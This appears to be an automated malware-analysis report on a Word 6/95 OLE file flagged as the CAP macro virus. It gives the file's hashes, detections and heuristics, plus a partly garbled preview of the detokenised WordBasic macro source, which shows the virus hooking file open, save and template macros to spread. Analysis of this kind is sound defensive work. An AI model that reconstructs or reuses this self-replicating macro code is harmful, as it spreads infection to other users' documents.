Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 011ab174e9795910…

MALICIOUS

Office (OLE)

9.0 KB First seen: 2014-03-02
MD5: cb4c3280668a5b740dc9f72fe09e32d9 SHA-1: 36a6283fb959720fe075cadc013c087ee02717e9 SHA-256: 011ab174e979591008f3d9e7ae28d191360f9a4c3519e5aabf99e5ce7108a5b7
102 Risk Score

Heuristics 3

  • ClamAV: Win.Trojan.Cap-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Cap-1
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Recovered legacy WordBasic macro source info OLE_LEGACY_WORDBASIC_MACRO_SOURCE
    The Word 6.0/95 document stores tokenised WordBasic macros in the WordDocument stream rather than as a modern VBA project, so VBA source extraction cannot see them. The macro source was detokenised and carved so its identifiers, string literals (file paths, URLs, registry keys, message text) and comments are available for review and signature scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
wordbasic_macros.txt wordbasic-macro analyzer.wordbasic (detokenised Word 6/95 WordBasic macro source) 2326 bytes
SHA-256: 02f2012177d36e547c78ae0525c3c7bb62214b86e46af1a49653bb0164b55a00
Preview script
First 1,000 lines of the extracted script
, , = = = = = = = , = , 20325 21349 29551 17253 29551 21349 19827 21605 29793   25961
25964 25961 = =  
MAIN
REM C.A.P: Un virus social.. y ahora digital..
REM "j4cKy Qw3rTy" (jqw3rty@hotmail.com).
REM Venezuela, Maracay, Dic 1996.
REM P.D. Que haces gochito ? Nunca seras Simon Bolivar.. Bolsa !
M$ 9
S F$
, -
S$ = "F%"
D$ = "Macro"
C$ = "Close"
B$ = "Open"
A$ = "File"
M$ 0 = "CAP"
M$ 3 = A$ = C$
M$ 5 = A$ = "Save"
M$ 2 = A$ = B$
M$ 9 = A$ = "Templates"
A$ = "Auto"
M$ 6 = M$ 5 = "As"
M$ 1 = A$ = B$
M$ 8 = A$ = "Exec"
M$ 4 = A$ = C$
M$ 7 = "Tools" = D$
M = 0
N = 0
T = 1 0 1
I = @cmd80b7 T 1 1
B$ = @cmd80b8 I , T
S$ = @cmd8008 @cmd80be B$ , 2
J = 0 9
B$ = M$ J
T N = N = 1   M = M = 1
J = 9
@cmd00d7 = B$ , = T = T = 1 ,
F$
M 10 N
@cmd00d1 = 0 , = 1 , = 1 , = "10"
I = 0 9
I 7 K = 1   K = 230
@cmd80c2 F$ = ":" = M$ I , M$ I , K
B$ = S$ = @cmd80ea @cmd8007 @cmd8006 @cmd800a @cmd80be M$ 7 , 3 = 1
@cmd00d7 = M$ 7 , = 1 , = B$ ,
A$ = @cmd8140 0 , 1
I = @cmd80b7 1 1 1
J = 0
B$ = @cmd80b8 I , 1
@cmd80be B$
S$ = "O"
J = 2
S$ = "C"
J = 3
S$ = "S"
J = 5
S$ = "SA"
J = 6
J
C$ = @cmd813e A$ , 0 , J
@cmd8008 @cmd80af C$ , @cmd8003 M$ J @cmd80af M$ J @cmd8008 C$ , 1 "(" @cmd80c2 F$ = ":" = B$ , C$ , K
T = 1
I = 0 1
I J = 1   J = 6
A$ = @cmd8140 I , J
J = @cmd8141 A$ , I 1
M = J 1 1
@cmd800f @cmd813e A$ , I , M , D$
I
B$ = @cmd813e A$ , I , M 2
@cmd80af B$ @cmd80af M$ 9 @cmd8008 B$ , 1 "(" @cmd80c2 M$ 9 , B$ , K
M = M = 1
T = M M 1 1
T 3 @cmd01b1 = I , + = T , = @cmd813e A$ , I , T , = = A$ , , = 0
M = 1
T = 0
T
I = 6 J
@cmd8008 @cmd813e A$ , 1 , I , 1 = "(" @cmd8008 @cmd813e A$ , 1 , I 2 , 1 = "("
T = 1 3 2
B$ = @cmd813e A$ , 1 , I T
@cmd8008 B$ , 1 "(" @cmd80c2 M$ T = 6 , B$ , K
I = J
D @cmd0054
D
N 10 D = 1 D = 0 D = 6
D = 1
I = @cmd80b7 0 1 1
B$ = @cmd80b8 I , 0
B$ M$ 7 K = 1   K = 0
@cmd80c2 B$ , F$ = ":" = B$ , K
@cmd0054 D
Err = 0
FO
, -
@cmd80d6
, - * E
D @cmd0050
D
D
@cmd0050 D
S D
FC
, -
@cmd80d6
S @cmd8025
@cmd80a0
FS
, -
@cmd80d6
, - * F
@cmd0053
S @cmd8025
FSA
, -
@cmd80d6
, - * G
D @cmd0054
D
D 1
D
@cmd0054 D
S D
T = @cmd803e
W$ = D
@cmd004f = @cmd8025
, - * H
D
D = W$
D
@cmd0054 D
, - * G
S D
T @cmd803e T = T = 1
@cmd80de T
@cmd80a0 2
MAIN
, -
@cmd80d6 0
CAP
MAIN
, -
CAP
MAIN
, -
CAP
MAIN
, -
CAP @cmd8025
MAIN
, -
CAP
MAIN
, -
CAP
MAIN
MAIN
, -
CAP
MAIN
MAIN
, -
CAP
MAIN
, -
CAP
MAIN
, -
CAP

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